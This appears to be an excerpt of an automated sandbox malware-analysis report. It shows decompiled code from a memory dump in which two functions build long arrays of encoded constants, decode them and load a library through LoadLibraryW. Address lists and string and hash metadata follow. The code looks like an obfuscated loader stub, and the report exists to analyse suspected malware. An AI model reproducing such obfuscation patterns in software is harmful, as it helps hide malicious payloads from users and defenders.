				 *((intOrPtr*)(_t459 - 0xe8)) = 0xe4c660cd;
				 *((intOrPtr*)(_t459 - 0xe4)) = 0x5ab2eaef;
				 *((intOrPtr*)(_t459 - 0xe0)) = 0x2c97de7e;
				 *((intOrPtr*)(_t459 - 0xdc)) = 0x695282f0;
				 *((intOrPtr*)(_t459 - 0xd8)) = 0xbd013dd7;
				 *((intOrPtr*)(_t459 - 0xd4)) = 0x9bc4cccb;
				 *((intOrPtr*)(_t459 - 0xd0)) = 0x2c29e956;
				 *((intOrPtr*)(_t459 - 0xcc)) = 0x3ff2a25e;
				 *((intOrPtr*)(_t459 - 0xc8)) = 0xe03a5fd7;
				 *((intOrPtr*)(_t459 - 0xc4)) = 0x10516d8e;
				 *((intOrPtr*)(_t459 - 0xc0)) = 0x97faa8dc;
				 *((intOrPtr*)(_t459 - 0xbc)) = 0x76be59d2;
				 *((intOrPtr*)(_t459 - 0xb8)) = 0x8d4ecd3d;
				 *((intOrPtr*)(_t459 - 0xb4)) = 0xda05f263;
				 *((intOrPtr*)(_t459 - 0xb0)) = 0x1e7933a9;
				 *((intOrPtr*)(_t459 - 0xac)) = 0x3e328cb7;
				 *((intOrPtr*)(_t459 - 0xa8)) = 0xb796ddf2;
				 *((intOrPtr*)(_t459 - 0xa4)) = 0x289df743;
				 *((intOrPtr*)(_t459 - 0xa0)) = 0x6fad746e;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t459 - 0x9c)) = 0x70b20eba;
				 *((intOrPtr*)(_t459 - 0x98)) = 0xa66d7577;
				 *((intOrPtr*)(_t459 - 0x94)) = 0x753b6419;
				 *((intOrPtr*)(_t459 - 0x90)) = 0xb191e5fb;
				 *((intOrPtr*)(_t459 - 0x8c)) = 0x243794f1;
				 *((intOrPtr*)(_t459 - 0x88)) = 0x43fd0ef;
				 *((intOrPtr*)(_t459 - 0x84)) = 0xc4319a76;
				 *((intOrPtr*)(_t459 - 0x80)) = 0x36e9780e;
				 *((intOrPtr*)(_t459 - 0x7c)) = 0x82d4147d;
				 *((intOrPtr*)(_t459 - 0x78)) = 0xfea3aac6;
				 *((intOrPtr*)(_t459 - 0x74)) = 0xb3b10983;
				 *((intOrPtr*)(_t459 - 0x70)) = 0x35b1c364;
				 *((intOrPtr*)(_t459 - 0x6c)) = 0x47e0241c;
				 *((intOrPtr*)(_t459 - 0x68)) = 0xbd78707a;
				 *((intOrPtr*)(_t459 - 0x64)) = 0x11db37a1;
				 *((intOrPtr*)(_t459 - 0x60)) = 0x4461117a;
				 *((intOrPtr*)(_t459 - 0x5c)) = 0xf9c0a3f5;
				 *((intOrPtr*)(_t459 - 0x58)) = 0xe872faba;
				 *((intOrPtr*)(_t459 - 0x54)) = 0x64565f91;
				 *((intOrPtr*)(_t459 - 0x50)) = 0x618168c9;
				 *((intOrPtr*)(_t459 - 0x4c)) = 0xe712f78;
				 *((intOrPtr*)(_t459 - 0x48)) = 0x9674eb60;
				 *((intOrPtr*)(_t459 - 0x44)) = 0xdd4bf85d;
				 *((intOrPtr*)(_t459 - 0x40)) = 0x2ecf96f5;
				 *((intOrPtr*)(_t459 - 0x3c)) = 0x159080f0;
				 *((intOrPtr*)(_t459 - 0x38)) = 0x3c394030;
				 *((intOrPtr*)(_t459 - 0x34)) = 0xdbc6535c;
				 *((intOrPtr*)(_t459 - 0x30)) = 0x4316b4b0;
				 *((intOrPtr*)(_t459 - 0x2c)) = 0x4473ddfa;
				 *((intOrPtr*)(_t459 - 0x28)) = 0x3e75bff1;
				 *((intOrPtr*)(_t459 - 0x24)) = 0xf69d509a;
				 *((intOrPtr*)(_t459 - 0x20)) = 0x88a55e29;
				 *((intOrPtr*)(_t459 - 0x1c)) = 0x4b723696;
				 *((intOrPtr*)(_t459 - 0x18)) = 0xaa1e64e6;
				 *((intOrPtr*)(_t459 - 0x14)) = 0xbe8c107d;
				 *((intOrPtr*)(_t459 - 0x10)) = 0x47efc3ac;
				 *((intOrPtr*)(_t459 - 0xc)) = 0x2afe3fcf;
				 *((intOrPtr*)(_t459 - 8)) = 0x3af3c941;
				 *((intOrPtr*)(_t459 - 4)) = 0xcae7ee49;
				_t457 = L00381D10(0x390650, 0x9c, __edi, __esi);
				 *0x394c8c = LoadLibraryW(_t445);
				L00381DB0(_t457);
				return E00381570(_t449,  *0x394c8c, _t459 - 0x6ec, _t457, 0x1bb, 0x5a53741d, 0x3933b0);
			}

0x00387eda
0x00387eda
0x00387ee4
0x00387eee
0x00387ef8
0x00387f02
0x00387f0c
0x00387f16
0x00387f20
0x00387f2a
0x00387f34
0x00387f3e
0x00387f48
0x00387f52
0x00387f5c
0x00387f66
0x00387f70
0x00387f7a
0x00387f84
0x00387f8e
0x00387f98
0x00387fa2
0x00387fac
0x00387fb6
0x00387fc0
0x00387fca
0x00387fd4
0x00387fde
0x00387fe8
0x00387ff2
0x00387ffc
0x00388006
0x00388010
0x0038801a
0x00388024
0x0038802e
0x00388038
0x00388042
0x0038804c
0x00388056
0x00388060
0x0038806a
0x00388074
0x0038807e
0x00388088
0x00388092
0x0038809c
0x003880a6
0x003880b0
0x003880ba
0x003880c4
0x003880ce
0x003880d8
0x003880e2
0x003880ec
0x003880f6
0x00388100
0x0038810a
0x00388114
0x0038811e
0x00388128
0x00388132
0x0038813c
0x00388146
0x00388150
0x0038815a
0x00388164
0x0038816e
0x00388178
0x00388182
0x0038818c
0x00388196
0x003881a0
0x003881aa
0x003881b4
0x003881be
0x003881c8
0x003881d2
0x003881dc
0x003881e6
0x003881f0
0x003881fa
0x00388204
0x0038820e
0x00388218
0x00388222
0x0038822c
0x00388236
0x00388240
0x0038824a
0x00388254
0x0038825e
0x00388268
0x00388272
0x0038827c
0x00388286
0x00388290
0x0038829a
0x003882a4
0x003882ae
0x003882b8
0x003882c2
0x003882cc
0x003882d6
0x003882e0
0x003882ea
0x003882f4
0x003882fe
0x00388308
0x00388312
0x0038831c
0x00388326
0x00388330
0x0038833a
0x00388344
0x0038834e
0x00388358
0x00388362
0x0038836c
0x00388376
0x00388380
0x0038838a
0x00388394
0x0038839e
0x003883a8
0x003883b2
0x003883bc
0x003883c6
0x003883d0
0x003883da
0x003883e4
0x003883ee
0x003883f8
0x00388402
0x0038840c
0x00388416
0x00388420
0x0038842a
0x00388434
0x0038843e
0x00388448
0x00388452
0x0038845c
0x00388466
0x00388470
0x0038847a
0x00388484
0x0038848e
0x00388498
0x003884a2
0x003884ac
0x003884b6
0x003884c0
0x003884ca
0x003884d4
0x003884de
0x003884e8
0x003884f2
0x003884fc
0x00388506
0x00388510
0x0038851a
0x00388524
0x0038852e
0x00388538
0x00388542
0x0038854c
0x00388556
0x00388560
0x0038856a
0x00388574
0x0038857e
0x00388588
0x00388592
0x0038859c
0x003885a6
0x003885b0
0x003885ba
0x003885c4
0x003885ce
0x003885d8
0x003885e2
0x003885ec
0x003885f6
0x00388600
0x0038860a
0x00388614
0x0038861e
0x00388628
0x00388632
0x0038863c
0x00388646
0x00388650
0x0038865a
0x00388664
0x0038866e
0x00388678
0x00388682
0x0038868c
0x00388696
0x003886a0
0x003886aa
0x003886b4
0x003886be
0x003886c8
0x003886d2
0x003886dc
0x003886e6
0x003886f0
0x003886fa
0x00388704
0x0038870e
0x00388718
0x00388722
0x0038872c
0x00388736
0x00388740
0x0038874a
0x00388754
0x0038875e
0x00388768
0x00388772
0x0038877c
0x00388786
0x00388790
0x0038879a
0x003887a4
0x003887ae
0x003887b8
0x003887c2
0x003887cc
0x003887d6
0x003887e0
0x003887ea
0x003887f4
0x003887fe
0x00388808
0x00388812
0x0038881c
0x00388826
0x00388830
0x0038883a
0x00388844
0x0038884e
0x00388858
0x00388862
0x0038886c
0x00388876
0x00388880
0x0038888a
0x00388894
0x0038889e
0x003888a8
0x003888b2
0x003888bc
0x003888c6
0x003888d0
0x003888da
0x003888e4
0x003888ee
0x003888f8
0x00388902
0x0038890c
0x00388916
0x00388920
0x0038892a
0x00388934
0x0038893e
0x00388948
0x00388952
0x0038895c
0x00388966
0x00388970
0x0038897a
0x00388984
0x0038898e
0x00388998
0x003889a2
0x003889ac
0x003889b6
0x003889c0
0x003889ca
0x003889d4
0x003889de
0x003889e8
0x003889f2
0x003889fc
0x00388a06
0x00388a10
0x00388a1a
0x00388a24
0x00388a2e
0x00388a38
0x00388a42
0x00388a4c
0x00388a56
0x00388a60
0x00388a6a
0x00388a74
0x00388a7e
0x00388a88
0x00388a92
0x00388a9c
0x00388aa6
0x00388ab0
0x00388aba
0x00388ac4
0x00388ace
0x00388ad8
0x00388ae2
0x00388aec
0x00388af6
0x00388b00
0x00388b0a
0x00388b14
0x00388b1e
0x00388b28
0x00388b32
0x00388b3c
0x00388b46
0x00388b50
0x00388b5a
0x00388b64
0x00388b6e
0x00388b78
0x00388b82
0x00388b8c
0x00388b96
0x00388ba0
0x00388baa
0x00388bb4
0x00388bbe
0x00388bc8
0x00388bd2
0x00388bdc
0x00388be6
0x00388bf0
0x00388bfa
0x00388c04
0x00388c0e
0x00388c18
0x00388c22
0x00388c2c
0x00388c36
0x00388c40
0x00388c4a
0x00388c54
0x00388c5e
0x00388c68
0x00388c72
0x00388c7c
0x00388c86
0x00388c90
0x00388c9a
0x00388ca4
0x00388cae
0x00388cb8
0x00388cc2
0x00388ccc
0x00388cd6
0x00388ce0
0x00388cea
0x00388cf4
0x00388cfe
0x00388d08
0x00388d12
0x00388d1c
0x00388d26
0x00388d30
0x00388d3a
0x00388d44
0x00388d4e
0x00388d58
0x00388d62
0x00388d6c
0x00388d76
0x00388d80
0x00388d8a
0x00388d94
0x00388d9e
0x00388da8
0x00388db2
0x00388dbc
0x00388dc6
0x00388dd0
0x00388dda
0x00388de4
0x00388dee
0x00388df8
0x00388e02
0x00388e0c
0x00388e16
0x00388e20
0x00388e2a
0x00388e34
0x00388e3e
0x00388e48
0x00388e52
0x00388e5c
0x00388e66
0x00388e70
0x00388e7a
0x00388e84
0x00388e8e
0x00388e98
0x00388ea2
0x00388eac
0x00388ebb
0x00388ec5
0x00388ecf
0x00388ed9
0x00388ee3
0x00388eed
0x00388ef7
0x00388efe
0x00388f05
0x00388f0c
0x00388f13
0x00388f1a
0x00388f21
0x00388f28
0x00388f2f
0x00388f36
0x00388f3d
0x00388f44
0x00388f4b
0x00388f52
0x00388f59
0x00388f60
0x00388f67
0x00388f6e
0x00388f75
0x00388f7c
0x00388f83
0x00388f8a
0x00388f91
0x00388f98
0x00388f9f
0x00388fa6
0x00388fad
0x00388fb4
0x00388fbb
0x00388fc2
0x00388fc9
0x00388fd0
0x00388fdf
0x00388fea
0x00388fef
0x0038901b

APIs

LoadLibraryW.KERNEL32(00000000), ref: 00388FE2

Strings

,wo, xrefs: 003882F4
HV}4, xrefs: 003884FC
-aLg, xrefs: 003887A4
,5, xrefs: 00388236
+3/8, xrefs: 00388740
gcs, xrefs: 003883DA
dIFQ, xrefs: 00388006
dqt, xrefs: 00388128
%&Tv, xrefs: 00388BD2
+, xrefs: 00388BC8
)Tu', xrefs: 0038802E
TE-C, xrefs: 00388C72
G/XC, xrefs: 0038898E
g*]>, xrefs: 003883A8
0@9<, xrefs: 00388F75
7DM, xrefs: 003884A2
22;:, xrefs: 003882AE
$sV, xrefs: 0038813C
EboJ, xrefs: 003887FE
=S5, xrefs: 00387F02
qbAd, xrefs: 00387F84
*Y<, xrefs: 003887E0
V),, xrefs: 00388E20
K~jN, xrefs: 0038888A

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: LibraryLoad
String ID: $sV$%&Tv$)Tu'$+$+3/8$,wo$-aLg$0@9<$22;:$7DM$=S5$EboJ$G/XC$HV}4$K~jN$TE-C$V),$dIFQ$dqt$g*]>$qbAd$*Y<$,5$gcs
API String ID: 1029625771-3472361963
Opcode ID: 3de11b708d78976d784bffe3b43ddccfb507abcc22e33d018adb948b71bcf8ea
Instruction ID: f7c8256a9a91a1cda7b730dc2a0d0f346aaa69a6fc25eddb8bd346b30957ab84
Opcode Fuzzy Hash: 3de11b708d78976d784bffe3b43ddccfb507abcc22e33d018adb948b71bcf8ea
Instruction Fuzzy Hash: E382B5F08167A88FDB618F429E857CEBA35BB51344F5096C8D25D3A214CB760BC6CF89

Uniqueness

Uniqueness Score: 100.00%

Function 0038902A, Relevance: 19.5, APIs: 1, Strings: 10, Instructions: 225
libraryUNIQUE

C-Code - Quality: 99%

			E0038902A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t209;
				void* _t219;

				_t209 = __ebx;
				 *((intOrPtr*)(_t219 - 0x32c)) = 0x7fbd219b;
				 *((intOrPtr*)(_t219 - 0x328)) = 0xa2efafa1;
				 *((intOrPtr*)(_t219 - 0x324)) = 0xe80e0f4c;
				 *((intOrPtr*)(_t219 - 0x320)) = 0x80f9ec3b;
				 *((intOrPtr*)(_t219 - 0x31c)) = 0x8e1d8781;
				 *((intOrPtr*)(_t219 - 0x318)) = 0x6261bb12;
				 *((intOrPtr*)(_t219 - 0x314)) = 0xffe71370;
				 *((intOrPtr*)(_t219 - 0x310)) = 0x7e4cc287;
				 *((intOrPtr*)(_t219 - 0x30c)) = 0x8a645edd;
				 *((intOrPtr*)(_t219 - 0x308)) = 0x588a73b6;
				 *((intOrPtr*)(_t219 - 0x304)) = 0x57aa5c54;
				 *((intOrPtr*)(_t219 - 0x300)) = 0xefd12e15;
				 *((intOrPtr*)(_t219 - 0x2fc)) = 0x1f212018;
				 *((intOrPtr*)(_t219 - 0x2f8)) = 0x8884ba6b;
				 *((intOrPtr*)(_t219 - 0x2f4)) = 0x669e1b3c;
				 *((intOrPtr*)(_t219 - 0x2f0)) = 0x354ae040;
				 *((intOrPtr*)(_t219 - 0x2ec)) = 0xc4f5d2c8;
				 *((intOrPtr*)(_t219 - 0x2e8)) = 0x10bee786;
				 *((intOrPtr*)(_t219 - 0x2e4)) = 0xeea8862e;
				 *((intOrPtr*)(_t219 - 0x2e0)) = 0x6bcdb172;
				 *((intOrPtr*)(_t219 - 0x2dc)) = 0xb5e6de05;
				 *((intOrPtr*)(_t219 - 0x2d8)) = 0xf0896307;
				 *((intOrPtr*)(_t219 - 0x2d4)) = 0xeb5229a2;
				 *((intOrPtr*)(_t219 - 0x2d0)) = 0x2b6d69b;
				 *((intOrPtr*)(_t219 - 0x2cc)) = 0x58beccc5;
				 *((intOrPtr*)(_t219 - 0x2c8)) = 0x35274529;
				 *((intOrPtr*)(_t219 - 0x2c4)) = 0x15753c3f;
				 *((intOrPtr*)(_t219 - 0x2c0)) = 0x9c18b986;
				 *((intOrPtr*)(_t219 - 0x2bc)) = 0x2201f5eb;
				 *((intOrPtr*)(_t219 - 0x2b8)) = 0x19713ab5;
				 *((intOrPtr*)(_t219 - 0x2b4)) = 0xb1c3168c;
				 *((intOrPtr*)(_t219 - 0x2b0)) = 0xf66bd0e9;
				 *((intOrPtr*)(_t219 - 0x2ac)) = 0x466959fa;
				 *((intOrPtr*)(_t219 - 0x2a8)) = 0xfcde918c;
				 *((intOrPtr*)(_t219 - 0x2a4)) = 0x714e0189;
				 *((intOrPtr*)(_t219 - 0x2a0)) = 0xf7ae070;
				 *((intOrPtr*)(_t219 - 0x29c)) = 0xd5bf4fe0;
				 *((intOrPtr*)(_t219 - 0x298)) = 0xa6b9c782;
				 *((intOrPtr*)(_t219 - 0x294)) = 0x8a555e4a;
				 *((intOrPtr*)(_t219 - 0x290)) = 0xb37719ce;
				 *((intOrPtr*)(_t219 - 0x28c)) = 0x578e021d;
				 *((intOrPtr*)(_t219 - 0x288)) = 0x70f1e354;
				 *((intOrPtr*)(_t219 - 0x284)) = 0xae470c52;
				 *((intOrPtr*)(_t219 - 0x280)) = 0x4085a5f5;
				 *((intOrPtr*)(_t219 - 0x27c)) = 0x2ba05970;
				 *((intOrPtr*)(_t219 - 0x278)) = 0xd8be2289;
				 *((intOrPtr*)(_t219 - 0x274)) = 0xc0b6aa2;
				 *((intOrPtr*)(_t219 - 0x270)) = 0xd3bd5838;
				 *((intOrPtr*)(_t219 - 0x26c)) = 0x316b6de7;
				 *((intOrPtr*)(_t219 - 0x268)) = 0xb5002781;
				 *((intOrPtr*)(_t219 - 0x264)) = 0x3aa9b064;
				 *((intOrPtr*)(_t219 - 0x260)) = 0x56fd49b7;
				 *((intOrPtr*)(_t219 - 0x25c)) = 0x1715f313;
				 *((intOrPtr*)(_t219 - 0x258)) = 0x713d7bcb;
				 *((intOrPtr*)(_t219 - 0x254)) = 0x30c933c5;
				 *((intOrPtr*)(_t219 - 0x250)) = 0xcc3ce868;
				 *((intOrPtr*)(_t219 - 0x24c)) = 0xdef80b51;
				 *((intOrPtr*)(_t219 - 0x248)) = 0x1cb482f0;
				 *((intOrPtr*)(_t219 - 0x244)) = 0xb75f074;
				 *((intOrPtr*)(_t219 - 0x240)) = 0xb012317e;
				 *((intOrPtr*)(_t219 - 0x23c)) = 0xde835a96;
				 *((intOrPtr*)(_t219 - 0x238)) = 0x94343df8;
				 *((intOrPtr*)(_t219 - 0x234)) = 0xb367eeeb;
				 *((intOrPtr*)(_t219 - 0x230)) = 0x750a07ee;
				 *((intOrPtr*)(_t219 - 0x22c)) = 0xd830a629;
				 *((intOrPtr*)(_t219 - 0x228)) = 0xac831739;
				 *((intOrPtr*)(_t219 - 0x224)) = 0x6e5fdc60;
				 *((intOrPtr*)(_t219 - 0x220)) = 0x124c3112;
				 *((intOrPtr*)(_t219 - 0x21c)) = 0x212cd402;
				 *((intOrPtr*)(_t219 - 0x218)) = 0x6e12da54;
				 *((intOrPtr*)(_t219 - 0x214)) = 0xd1435837;
				 *((intOrPtr*)(_t219 - 0x210)) = 0xaa26ab84;
				 *((intOrPtr*)(_t219 - 0x20c)) = 0x90b20834;
				 *((intOrPtr*)(_t219 - 0x208)) = 0xd17da45b;
				 *((intOrPtr*)(_t219 - 0x204)) = 0xfdf40c0d;
				 *((intOrPtr*)(_t219 - 0x200)) = 0x32db272e;
				 *((intOrPtr*)(_t219 - 0x1fc)) = 0xb16b2126;
				 *((intOrPtr*)(_t219 - 0x1f8)) = 0x13bcc1e5;
				 *((intOrPtr*)(_t219 - 0x1f4)) = 0x47d24300;
				 *((intOrPtr*)(_t219 - 0x1f0)) = 0xa0b0c2b9;
				 *((intOrPtr*)(_t219 - 0x1ec)) = 0x5b0d9e2e;
				 *((intOrPtr*)(_t219 - 0x1e8)) = 0x32becc23;
				 *((intOrPtr*)(_t219 - 0x1e4)) = 0x3f193493;
				 *((intOrPtr*)(_t219 - 0x1e0)) = 0xa2670868;
				 *((intOrPtr*)(_t219 - 0x1dc)) = 0x7eb062fc;
				 *((intOrPtr*)(_t219 - 0x1d8)) = 0x5ad55ddb;
				 *((intOrPtr*)(_t219 - 0x1d4)) = 0x5c9b533a;
				 *((intOrPtr*)(_t219 - 0x1d0)) = 0xbe4dc9ab;
				 *((intOrPtr*)(_t219 - 0x1cc)) = 0xc27ae1cf;
				 *((intOrPtr*)(_t219 - 0x1c8)) = 0x5bb1bf3c;
				 *((intOrPtr*)(_t219 - 0x1c4)) = 0x41464acd;
				 *((intOrPtr*)(_t219 - 0x1c0)) = 0x9a088a35;
				 *((intOrPtr*)(_t219 - 0x1bc)) = 0x996bda46;
				 *((intOrPtr*)(_t219 - 0x1b8)) = 0x3a559602;
				 *((intOrPtr*)(_t219 - 0x1b4)) = 0x4aa0f9d9;
				 *((intOrPtr*)(_t219 - 0x1b0)) = 0xf109c812;
				 *((intOrPtr*)(_t219 - 0x1ac)) = 0xb258589c;
				 *((intOrPtr*)(_t219 - 0x1a8)) = 0xf06a256f;
				 *((intOrPtr*)(_t219 - 0x1a4)) = 0xe5530535;
				 *((intOrPtr*)(_t219 - 0x1a0)) = 0x54f6c946;
				 *((intOrPtr*)(_t219 - 0x19c)) = 0x1ae47807;
				 *((intOrPtr*)(_t219 - 0x198)) = 0x7398483;
				 *((intOrPtr*)(_t219 - 0x194)) = 0x5f679ef8;
				 *((intOrPtr*)(_t219 - 0x190)) = 0xa231eaab;
				 *((intOrPtr*)(_t219 - 0x18c)) = 0x7e7a355e;
				 *((intOrPtr*)(_t219 - 0x188)) = 0x34e54a43;
				 *((intOrPtr*)(_t219 - 0x184)) = 0xbf413261;
				 *((intOrPtr*)(_t219 - 0x180)) = 0xc55b4bbd;
				 *((intOrPtr*)(_t219 - 0x17c)) = 0xdbccb5eb;
				 *((intOrPtr*)(_t219 - 0x178)) = 0x88dc8eec;
				 *((intOrPtr*)(_t219 - 0x174)) = 0x5b47b2d3;
				 *((intOrPtr*)(_t219 - 0x170)) = 0xff3689c;
				 *((intOrPtr*)(_t219 - 0x16c)) = 0x86c474b4;
				 *((intOrPtr*)(_t219 - 0x168)) = 0xa31e6d78;
				 *((intOrPtr*)(_t219 - 0x164)) = 0xf29d0511;
				 *((intOrPtr*)(_t219 - 0x160)) = 0xb17b3be;
				 *((intOrPtr*)(_t219 - 0x15c)) = 0x919acea5;
				 *((intOrPtr*)(_t219 - 0x158)) = 0xf86356aa;
				 *((intOrPtr*)(_t219 - 0x154)) = 0x52bb78cf;
				 *((intOrPtr*)(_t219 - 0x150)) = 0x3c04ab99;
				 *((intOrPtr*)(_t219 - 0x14c)) = 0x389059d2;
				 *((intOrPtr*)(_t219 - 0x148)) = 0x2d1ae5a3;
				 *((intOrPtr*)(_t219 - 0x144)) = 0x6bcf7eaa;
				 *((intOrPtr*)(_t219 - 0x140)) = 0xb406abeb;
				 *((intOrPtr*)(_t219 - 0x13c)) = 0x5c174f02;
				 *((intOrPtr*)(_t219 - 0x138)) = 0x771e2f46;
				 *((intOrPtr*)(_t219 - 0x134)) = 0x7ad6da9a;
				 *((intOrPtr*)(_t219 - 0x130)) = 0xc025ce9d;
				 *((intOrPtr*)(_t219 - 0x12c)) = 0x88eaaa22;
				 *((intOrPtr*)(_t219 - 0x128)) = 0xd362b468;
				 *((intOrPtr*)(_t219 - 0x124)) = 0x8a41db48;
				 *((intOrPtr*)(_t219 - 0x120)) = 0x5669a365;
				 *((intOrPtr*)(_t219 - 0x11c)) = 0x70a6196;
				 *((intOrPtr*)(_t219 - 0x118)) = 0xa24aa49b;
				 *((intOrPtr*)(_t219 - 0x114)) = 0x6dbf05c0;
				 *((intOrPtr*)(_t219 - 0x110)) = 0xcbe93580;
				 *((intOrPtr*)(_t219 - 0x10c)) = 0xd357b271;
				 *((intOrPtr*)(_t219 - 0x108)) = 0xd2ea199a;
				 *((intOrPtr*)(_t219 - 0x104)) = 0xf534a00d;
				 *((intOrPtr*)(_t219 - 0x100)) = 0x63c4b191;
				 *((intOrPtr*)(_t219 - 0xfc)) = 0x546fbd97;
				 *((intOrPtr*)(_t219 - 0xf8)) = 0x286142e7;
				 *((intOrPtr*)(_t219 - 0xf4)) = 0x69bbd620;
				 *((intOrPtr*)(_t219 - 0xf0)) = 0x2b120040;
				 *((intOrPtr*)(_t219 - 0xec)) = 0xc39cbd26;
				 *((intOrPtr*)(_t219 - 0xe8)) = 0xd9b7b159;
				 *((intOrPtr*)(_t219 - 0xe4)) = 0xb96f0dab;
				 *((intOrPtr*)(_t219 - 0xe0)) = 0xa38c23f3;
				 *((intOrPtr*)(_t219 - 0xdc)) = 0xd520c6f6;
				 *((intOrPtr*)(_t219 - 0xd8)) = 0xd8155d0f;
				 *((intOrPtr*)(_t219 - 0xd4)) = 0x2643375;
				 *((intOrPtr*)(_t219 - 0xd0)) = 0xbf52a948;
				 *((intOrPtr*)(_t219 - 0xcc)) = 0xa261a5fa;
				 *((intOrPtr*)(_t219 - 0xc8)) = 0x53d3e771;
				 *((intOrPtr*)(_t219 - 0xc4)) = 0x2fd537db;
				 *((intOrPtr*)(_t219 - 0xc0)) = 0xce3fa065;
				 *((intOrPtr*)(_t219 - 0xbc)) = 0x20058305;
				 *((intOrPtr*)(_t219 - 0xb8)) = 0x32f139;
				 *((intOrPtr*)(_t219 - 0xb4)) = 0x44e4236d;
				 *((intOrPtr*)(_t219 - 0xb0)) = 0x9254ab0f;
				 *((intOrPtr*)(_t219 - 0xac)) = 0x4f26c3f5;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t219 - 0xa8)) = 0x154b3386;
				 *((intOrPtr*)(_t219 - 0xa4)) = 0x99d1912b;
				 *((intOrPtr*)(_t219 - 0xa0)) = 0xa71eb4d;
				 *((intOrPtr*)(_t219 - 0x9c)) = 0xb62e1883;
				 *((intOrPtr*)(_t219 - 0x98)) = 0x18c31c18;
				 *((intOrPtr*)(_t219 - 0x94)) = 0x3d03d608;
				 *((intOrPtr*)(_t219 - 0x90)) = 0xafd39ba5;
				 *((intOrPtr*)(_t219 - 0x8c)) = 0x7d9da429;
				 *((intOrPtr*)(_t219 - 0x88)) = 0x4e76c485;
				 *((intOrPtr*)(_t219 - 0x84)) = 0x91c1d596;
				 *((intOrPtr*)(_t219 - 0x80)) = 0xcb3120a9;
				 *((intOrPtr*)(_t219 - 0x7c)) = 0xa105f41;
				 *((intOrPtr*)(_t219 - 0x78)) = 0xa8708e62;
				 *((intOrPtr*)(_t219 - 0x74)) = 0x1df00a02;
				 *((intOrPtr*)(_t219 - 0x70)) = 0xea6037a7;
				 *((intOrPtr*)(_t219 - 0x6c)) = 0x61d15294;
				 *((intOrPtr*)(_t219 - 0x68)) = 0x24f14a40;
				 *((intOrPtr*)(_t219 - 0x64)) = 0xff266bfc;
				 *((intOrPtr*)(_t219 - 0x60)) = 0x355310fd;
				 *((intOrPtr*)(_t219 - 0x5c)) = 0xc9441fea;
				 *((intOrPtr*)(_t219 - 0x58)) = 0xcada8584;
				 *((intOrPtr*)(_t219 - 0x54)) = 0x78312f37;
				 *((intOrPtr*)(_t219 - 0x50)) = 0xc3586c2c;
				 *((intOrPtr*)(_t219 - 0x4c)) = 0x8a518e36;
				 *((intOrPtr*)(_t219 - 0x48)) = 0xea973514;
				 *((intOrPtr*)(_t219 - 0x44)) = 0xf8cf530e;
				 *((intOrPtr*)(_t219 - 0x40)) = 0xc7be2918;
				 *((intOrPtr*)(_t219 - 0x3c)) = 0x208e4c28;
				 *((intOrPtr*)(_t219 - 0x38)) = 0x89cc77a3;
				 *((intOrPtr*)(_t219 - 0x34)) = 0xbb48c624;
				 *((intOrPtr*)(_t219 - 0x30)) = 0x494b7ba8;
				 *((intOrPtr*)(_t219 - 0x2c)) = 0xe681a771;
				 *((intOrPtr*)(_t219 - 0x28)) = 0xd0e3a5cf;
				 *((intOrPtr*)(_t219 - 0x24)) = 0x1e9b134d;
				 *((intOrPtr*)(_t219 - 0x20)) = 0x27ce49be;
				 *((intOrPtr*)(_t219 - 0x1c)) = 0x3b6b481a;
				 *((intOrPtr*)(_t219 - 0x18)) = 0x8b7204b8;
				 *((intOrPtr*)(_t219 - 0x14)) = 0xed62631a;
				 *((intOrPtr*)(_t219 - 0x10)) = 0xf72fea24;
				 *((intOrPtr*)(_t219 - 0xc)) = 0xac97cf4;
				 *((intOrPtr*)(_t219 - 8)) = 0xdf5ea3ed;
				 *((intOrPtr*)(_t219 - 4)) = 0x4071947f;
				_t217 = L00381D10(0x390ed0, 0x44, __edi, __esi);
				 *0x394c90 = LoadLibraryW(_t205);
				L00381DB0(_t217);
				return E00381570(_t209,  *0x394c90, _t219 - 0x32c, _t217, 0xcb, 0x63b87d7a, 0x392d60);
			}

0x0038902a
0x0038902a
0x00389034
0x0038903e
0x00389048
0x00389052
0x0038905c
0x00389066
0x00389070
0x0038907a
0x00389084
0x0038908e
0x00389098
0x003890a2
0x003890ac
0x003890b6
0x003890c0
0x003890ca
0x003890d4
0x003890de
0x003890e8
0x003890f2
0x003890fc
0x00389106
0x00389110
0x0038911a
0x00389124
0x0038912e
0x00389138
0x00389142
0x0038914c
0x00389156
0x00389160
0x0038916a
0x00389174
0x0038917e
0x00389188
0x00389192
0x0038919c
0x003891a6
0x003891b0
0x003891ba
0x003891c4
0x003891ce
0x003891d8
0x003891e2
0x003891ec
0x003891f6
0x00389200
0x0038920a
0x00389214
0x0038921e
0x00389228
0x00389232
0x0038923c
0x00389246
0x00389250
0x0038925a
0x00389264
0x0038926e
0x00389278
0x00389282
0x0038928c
0x00389296
0x003892a0
0x003892aa
0x003892b4
0x003892be
0x003892c8
0x003892d2
0x003892dc
0x003892e6
0x003892f0
0x003892fa
0x00389304
0x0038930e
0x00389318
0x00389322
0x0038932c
0x00389336
0x00389340
0x0038934a
0x00389354
0x0038935e
0x00389368
0x00389372
0x0038937c
0x00389386
0x00389390
0x0038939a
0x003893a4
0x003893ae
0x003893b8
0x003893c2
0x003893cc
0x003893d6
0x003893e0
0x003893ea
0x003893f4
0x003893fe
0x00389408
0x00389412
0x0038941c
0x00389426
0x00389430
0x0038943a
0x00389444
0x0038944e
0x00389458
0x00389462
0x0038946c
0x00389476
0x00389480
0x0038948a
0x00389494
0x0038949e
0x003894a8
0x003894b2
0x003894bc
0x003894c6
0x003894d0
0x003894da
0x003894e4
0x003894ee
0x003894f8
0x00389502
0x0038950c
0x00389516
0x00389520
0x0038952a
0x00389534
0x0038953e
0x00389548
0x00389552
0x0038955c
0x00389566
0x00389570
0x0038957a
0x00389584
0x0038958e
0x00389598
0x003895a2
0x003895ac
0x003895b6
0x003895c0
0x003895ca
0x003895d4
0x003895de
0x003895e8
0x003895f2
0x003895fc
0x00389606
0x00389610
0x0038961a
0x00389624
0x0038962e
0x00389638
0x00389642
0x0038964c
0x00389656
0x00389660
0x0038966a
